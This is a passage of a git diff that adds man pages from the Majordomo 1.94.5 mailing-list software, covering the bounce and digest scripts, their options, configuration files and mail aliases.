bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + ----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 new file mode 100644 index 0000000..24e2488 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 @@ -0,0 +1,357 @@ +.TH digest 1 +.SH NAME +digest \- receive a file for a digest, or create and mail a digest +.LP +.SH SYNOPSIS +.B digest \-r|R|m|p \-C \-l +.I majordomo-listname recipient +.LP +.B digest \-r|R|m|p +[ +.B \-c +.I configuration-file +] +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +The digest script is a perl script which automates the +management of digests of electronic mail. It can be +run in a standalone configuration or as part of Majordomo. +.LP +It requires two directories: a work directory and an +archive directory. Incoming email messages are held +in the work directory until they are collected into a +digest. The digests are created and stored +in the archive directory. +.LP +Incoming email messages are given +numerical names starting with ``001'' and are numbered in +order of arrival. The digests are named according to volume +and number. For example, the filename ``v01.n028'' indicates +volume 1, number 28 of the digest. +.LP +It should be noted that digest needs a configuration file +to define all of its operating parameters. If no such +file is specified, digest will use the +.SB $HOME/.digestrc +file. +.LP +Several aspects of digest configuration determine how and +when a digest is created. A digest can be created at +regular intervals (as long as there are incoming messages) +or whenever certain configurable conditions are met. These +conditions are: how large the digest can be (in characters), +how long the digest can be (in lines), and how old the messages +in the digest can be (in days). +.LP +.SH OPTIONS +.TP 10 +.B \-r +Receive an email message via standard input +and place the file into the working directory. +If any one of the conditions for digest creation +are met, create and mail a digest. These conditions +are the same as those described under option +.BR \-p. +.TP +.B \-R +Similar to +.BR \-r, +except that it will not create a digest. It simply +places the message in the work directory and stops. +.TP +.B \-m +If there are any numbered files in the working +directory, create and mail a digest. Store the +digest in the archive directory. This is the +option used by majordomo's mkdigest command. +.TP +.B \-p +Conditionally creates a digest. If any one of the +conditions for digest creation are met, the digest +is created and sent. There are three conditions, +which are connected to three limits: the digest +size in characters, the digest length in lines, and +the age of the oldest message in days. If one of the +files is older than the age limit, a digest is created. +If the sum of the messages exceeds either of the size +limits, a digest is created. The size limit in characters +must be configured; the other two limits are optional. +.TP +.B \-c configuration-file +Use the parameters defined in +.IR configuration-file. +.TP +.B \-C +Read the majordomo configuration file +(either /etc/majordomo.cf or ~majordomo/majordomo.cf) +and the configuration file for the Majordomo list specified in the +.BR \-l +option to define operational parameters. If both +.BR \-C +and +.BR \-c +options are specified (not recommended) only the +.BR \-C +option will be used. +.TP +.B \-l majordomo-listname +This option is ignored if used without the +.BR \-C +option. Specifies the Majordomo email list. +.LP +.SH OPERANDS +.TP 10 +.B recipient +Email recipient of the digest. This operand is ignored if used +without the +.BR \-C +option. It specifies one of the system mail +aliases created for the Majordomo list named in the +.BR \-l +option. +.LP +.SH MAJORDOMO DIGEST CONFIGURATION +When used as a part of Majordomo, digest takes these parameters +from +.B majordomo.cf +(either /etc/majordomo.cf or ~majordomo/majordomo.cf): +.LP +.PD 0 +.B $listdir +\- the location of the mailing lists +.LP +.B $digest_work_dir +\- parent directory for the digests' work directories +.LP +.B $filedir +\- parent directory for archive directories +.LP +.B $filedir_suffix +\- an optional identifier (may be the null string) +.PD +.LP +Incoming messages for +.B $listname-digest +will be held in +.B $digest_work_dir/$listname-digest. +.LP +Digests will be stored in +.B $filedir/$listname-digest$filedir_suffix. +.LP +The list's configuration file will be +.B $listdir/$listname-digest.config. +.LP +Examples of these values are given in +.SB EXAMPLES, +below. +.LP +The list's configuration file contains several digest parameters that +are not yet implemented and/or should NOT be changed from their defaults +(blank): +.B digest_archive, digest_rm_footer, digest_rm_fronter, digest_work_dir. +.LP +The parameters which specifically deal with digest creation +and maintenance are: +.LP +.PD 0 +.B digest_name +\- the title of the digest +.LP +.B digest_volume +\- volume number +.LP +.B digest_issue +\- issue number +.LP +.B digest_maxdays +\- age limit in days for oldest message in the digest +.LP +.B digest_maxlines +\- maximum number of lines in a digest +.LP +.B maxlength +\- maximum number of characters in a digest +.LP +.B message_fronter +\- text prepended to the digest +.LP +.B message_footer +\- text appended to the digest +.PD +.LP +The last three parameters are also used in the configuration of +an ordinary (non-digest) Majordomo list. +.LP +Each digest begins with the a line containing the +.B digest_name, current date, digest_volume and digest_issue. +. The digest script will update the issue number in the configuration file. +.LP +A blank line follows, and then the text from the +.B message_fronter, +if any. The message fronter may contain the +.SB _SUBJECT_ +token, which will be replaced by the subject lines from the messages +in the digest. +.LP +The text in the +.B message_footer, +if any, will be appended to the digest. +.LP +To embed a blank line in the +.B message_footer +or +.B message_fronter, +put a `-' as the first and ONLY character on the line. To +preserve whitespace at the beginning of a line, put a `-' +on the line before the whitespace to be preserved. To put +a literal `-' at the beginning of a line, double it. +.LP +Both message_footer and message_fronter may also use the tokens +.SB $LIST, $SENDER, +and +.SB $VERSION, +which will be expanded to, +respectively: the name of the current list, the sender as taken +from the from line, and the current version of Majordomo. +.LP +Examples of the aliases usually used with the digest are +given in +.SB EXAMPLES, +below. +.LP +The list owner can prompt Majordomo to build a digest by +sending the command +.LP +mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +.LP +to majordomo either via email or from cron. The cron +command has the format: +.LP +echo mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +| mail majordomo@domain.com +.LP +.SH STANDALONE DIGEST CONFIGURATION +The Majordomo distribution comes with a ``digest'' subdirectory. +The sample configuration file is called firewalls-digest.cf. +A file in this format must be used if digest is invoked in +standalone configuration. +.LP +If no configuration file is specified when digest is invoked, +it looks for a file named +.SB $HOME/.digestrc +that must be in the same format as the example file. +.LP +The configuration file defines the email addresses of the +sender and recipient of the digest. It also locates the +work and archive directories, the digest's size limit, +and the names of the files that contain the digest's volume, +number, header and footer. +.LP +The easiest way to configure a standalone digest is to copy +the five files (firewalls-digest.*) and edit them to taste. +.LP +Incoming mail is piped to digest with the +.B \-r +option. This can be done from some mail-reading programs, through +the command line, or via mail aliases similar to those +found in +.SB EXAMPLES, +below. +.LP +.SH EXAMPLES +.LP +1. Example values from +.B /etc/majordomo.cf: +.LP +.PD 0 +.B $listdir = ``usr/local/mail/lists''; +.LP +.B $digest_work_dir = ``usr/local/mail/digest''; +.LP +.B $filedir = ``listdir''; +.LP +.B $filedir_suffix ``archive''; +.PD +.LP +If our digest's name is banjo-digest, the work directory will +be /usr/local/mail/digest/banjo-digest; the archive directory +will be /usr/local/mail/lists/banjo-digest.archive. Note +that these are names of directories, not files. +.LP +2. Typical aliases for Majordomo digests: +.LP +Usually a Majordomo digest is associated to a regular (non-digest) +list. The digest's name is the regular listname plus ``-digest''. +The list ``banjo'' will have the digest ``banjo-digest''. +.LP +.PD 0 +.B banjo-digest-approval: kevink +.LP +.B banjo-digest-outgoing: :include:/usr/local/lists/banjo-digest +.LP +.B owner-banjo-digest-outgoing: kevink +.LP +.B banjo-digestify: ``|usr/majordomo/wrapper digest \-r +.B \-C \-l banjo-digest banjo-digest-outgoing'' +.LP +.B banjo-digest: banjo +.PD +.LP +Note that mail to ``banjo-digest'' is routed to the regular list. +The ``digestify'' alias must be added to the regular list's outgoing +alias: +.LP +.B banjo-outgoing: :include:/usr/local/lists/banjo,banjo-digestify +.LP +.SH NOTES +The volume number does not change automatically; it must be +incremented manually. +.LP +For testing/debugging purposes there is a ``hidden'' option +.B -d +that creates the digest as /tmp/testdigest.nnn +(where +.I nnn +is the current digest number). Since it is for testing and +debugging purposes, it does not mail the digest, it does not +place the digest in the archive directory, and it does not +update the digest number. +.LP +.SH EXIT STATUS +The following exit values are returned: +.TP 10 +.B 0 +Successful completion. +.TP +.B >0 +An error occurred. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8) +.LP +.SH AUTHOR +The digest script was written by Brent Chapman . +It is available with distributions of Majordomo via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.man new file mode 100644 index 0000000..3fa31b4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.man @@ -0,0 +1,396 @@ + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + NNNNAAAAMMMMEEEE + digest - receive a file for a digest, or create and mail a + digest + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp ----CCCC ----llll _m_a_j_o_r_d_o_m_o-_l_i_s_t_n_a_m_e _r_e_c_i_p_i_e_n_t + + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp [ ----cccc _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e ] + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + The digest script is a perl script which automates the + management of digests of electronic mail. It can be run in + a standalone configuration or as part of Majordomo. + + It requires two directories: a work directory and an archive + directory. Incoming email messages are held in the work + directory until they are collected into a digest. The + digests are created and stored in the archive directory. + + Incoming email messages are given numerical names starting + with ``001'' and are numbered in order of arrival. The + digests are named according to volume and number. For + example, the filename ``v01.n028'' indicates volume 1, + number 28 of the digest. + + It should be noted that digest needs a configuration file to + define all of its operating parameters. If no such file is + specified, digest will use the file. + + Several aspects of digest configuration determine how and + when a digest is created. A digest can be created at + regular intervals (as long as there are incoming messages) + or whenever certain configurable conditions are met. These + conditions are: how large the digest can be (in + characters), how long the digest can be (in lines), and how + old the messages in the digest can be (in days). + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + ----rrrr Receive an email message via standard input and + place the file into the working directory. If any + one of the conditions for digest creation are met, + create and mail a digest. These conditions are + the same as those described under option ----pppp.... + + ----RRRR Similar to ----rrrr,,,, except that it will not create a + digest. It simply places the message in the work + directory and stops. + + ----mmmm If there are any numbered files in the working + + + + Page 1 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + directory, create and mail a digest. Store the + digest in the archive directory. This is the + option used by majordomo's mkdigest command. + + ----pppp Conditionally creates a digest. If any one of the + conditions for digest creation are met, the digest + is created and sent. There are three conditions, + which are connected to three limits: the digest + size in characters, the digest length in lines, + and the age of the oldest message in days. If one + of the files is older than the age limit, a digest + is created. If the sum of the messages exceeds + either of the size limits, a digest is created. + The size limit in characters must be configured; + the other two limits are optional. + + ----cccc ccccoooonnnnffffiiiigggguuuurrrraaaattttiiiioooonnnn----ffffiiiilllleeee + Use the parameters defined in _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e. + + ----CCCC Read the majordomo configuration file (either + /etc/majordomo.cf or ~majordomo/majordomo.cf) and + the configuration file for the Majordomo list + specified in the ----llll option to define operational + parameters. If both ----CCCC and ----cccc options are + specified (not recommended) only the ----CCCC option + will be used. + + ----llll mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiissssttttnnnnaaaammmmeeee + This option is ignored if used without the ----CCCC + option. Specifies the Majordomo email list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + rrrreeeecccciiiippppiiiieeeennnntttt Email recipient of the digest. This operand is + ignored if used without the ----CCCC option. It + specifies one of the system mail aliases created + for the Majordomo list named in the ----llll option. + + MMMMAAAAJJJJOOOORRRRDDDDOOOOMMMMOOOO DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + When used as a part of Majordomo, digest takes these + parameters from mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff (either /etc/majordomo.cf or + ~majordomo/majordomo.cf): + + $$$$lllliiiissssttttddddiiiirrrr - the location of the mailing lists + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr - parent directory for the digests' work + directories + $$$$ffffiiiilllleeeeddddiiiirrrr - parent directory for archive directories + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx - an optional identifier (may be the null + string) + + Incoming messages for $$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt will be held in + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt.... + + + + + Page 2 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Digests will be stored in $$$$ffffiiiilllleeeeddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt$$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx.... + + The list's configuration file will be $$$$lllliiiissssttttddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt....ccccoooonnnnffffiiiigggg.... + + Examples of these values are given in below. + + The list's configuration file contains several digest + parameters that are not yet implemented and/or should NOT be + changed from their defaults (blank): ddddiiiiggggeeeesssstttt____aaaarrrrcccchhhhiiiivvvveeee,,,, + ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffooooooootttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffrrrroooonnnntttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr.... + + The parameters which specifically deal with digest creation + and maintenance are: + + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee - the title of the digest + ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee - volume number + ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee - issue number + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxddddaaaayyyyssss - age limit in days for oldest message in the + digest + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxlllliiiinnnneeeessss - maximum number of lines in a digest + mmmmaaaaxxxxlllleeeennnnggggtttthhhh - maximum number of characters in a digest + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr - text prepended to the digest + mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr - text appended to the digest + + The last three parameters are also used in the configuration + of an ordinary (non-digest) Majordomo list. + + Each digest begins with the a line containing the + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee,,,, ccccuuuurrrrrrrreeeennnntttt ddddaaaatttteeee,,,, ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee aaaannnndddd ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee.... + + A blank line follows, and then the text from the + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, if any. The message fronter may contain + the token, which will be replaced by the subject lines from + the messages in the digest. + + The text in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr,,,, if any, will be appended to + the digest. + + To embed a blank line in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr or + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, put a `-' as the first and ONLY character + on the line. To preserve whitespace at the beginning of a + line, put a `-' on the line before the whitespace to be + preserved. To put a literal `-' at the beginning of a line, + double it. + + Both message_footer and message_fronter may also use the + tokens and which will be expanded to, respectively: the name + of the current list, the sender as taken from the from line, + and the current version of Majordomo. + + + + + Page 3 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Examples of the aliases usually used with the digest are + given in below. + + The list owner can prompt Majordomo to build a digest by + sending the command + + mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] + + to majordomo either via email or from cron. The cron + command has the format: + + echo mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] | mail + majordomo@domain.com + + SSSSTTTTAAAANNNNDDDDAAAALLLLOOOONNNNEEEE DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + The Majordomo distribution comes with a ``digest'' + subdirectory. The sample configuration file is called + firewalls-digest.cf. A file in this format must be used if + digest is invoked in standalone configuration. + + If no configuration file is specified when digest is + invoked, it looks for a file named that must be in the same + format as the example file. + + The configuration file defines the email addresses of the + sender and recipient of the digest. It also locates the work + and archive directories, the digest's size limit, and the + names of the files that contain the digest's volume, number, + header and footer. + + The easiest way to configure a standalone digest is to copy + the five files (firewalls-digest.*) and edit them to taste. + + Incoming mail is piped to digest with the ----rrrr option. This + can be done from some mail-reading programs, through the + command line, or via mail aliases similar to those found in + below. + + EEEEXXXXAAAAMMMMPPPPLLLLEEEESSSS + 1. Example values from ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff:::: + + $$$$lllliiiissssttttddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////lllliiiissssttttssss'''''''';;;; + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////ddddiiiiggggeeeesssstttt'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr ==== ````````lllliiiissssttttddddiiiirrrr'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx ````````aaaarrrrcccchhhhiiiivvvveeee'''''''';;;; + + If our digest's name is banjo-digest, the work directory + will be /usr/local/mail/digest/banjo-digest; the archive + directory will be /usr/local/mail/lists/banjo- + digest.archive. Note that these are names of directories, + not files. + + + + + Page 4 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + 2. Typical aliases for Majordomo digests: + + Usually a Majordomo digest is associated to a regular (non- + digest) list. The digest's name is the regular listname + plus ``-digest''. The list ``banjo'' will have the digest + ``banjo-digest''. + + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----aaaapppppppprrrroooovvvvaaaallll:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeesssstttt + oooowwwwnnnneeeerrrr----bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeessssttttiiiiffffyyyy:::: ````````||||uuuussssrrrr////mmmmaaaajjjjoooorrrrddddoooommmmoooo////wwwwrrrraaaappppppppeeeerrrr ddddiiiiggggeeeesssstttt ----rrrr ----CCCC ----llll + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg'''''''' + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt:::: bbbbaaaannnnjjjjoooo + + Note that mail to ``banjo-digest'' is routed to the regular + list. The ``digestify'' alias must be added to the regular + list's outgoing alias: + + bbbbaaaannnnjjjjoooo----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo,,,,bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeessssttttiiiiffffyyyy + + NNNNOOOOTTTTEEEESSSS + The volume number does not change automatically; it must be + incremented manually. + + For testing/debugging purposes there is a ``hidden'' option + ----dddd that creates the digest as /tmp/testdigest.nnn (where _n_n_n + is the current digest number). Since it is for testing and + debugging purposes, it does not mail the digest, it does not + place the digest in the archive directory, and it does not + update the digest number. + + EEEEXXXXIIIITTTT SSSSTTTTAAAATTTTUUUUSSSS + The following exit values are returned: + + 0000 Successful completion. + + >>>>0000 An error occurred. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))) + + AAAAUUUUTTTTHHHHOOOORRRR + The digest script was written by Brent Chapman + . It is available with distributions + of Majordomo via anonymous FTP from FTP.GreatCircle.COM, in + the directory pub/majordomo. This man page was written by + + + + Page 5 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Kevin Kelleher . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 6 (printed 9/23/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 new file mode 100644 index 0000000..e99835a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 @@ -0,0 +1,300 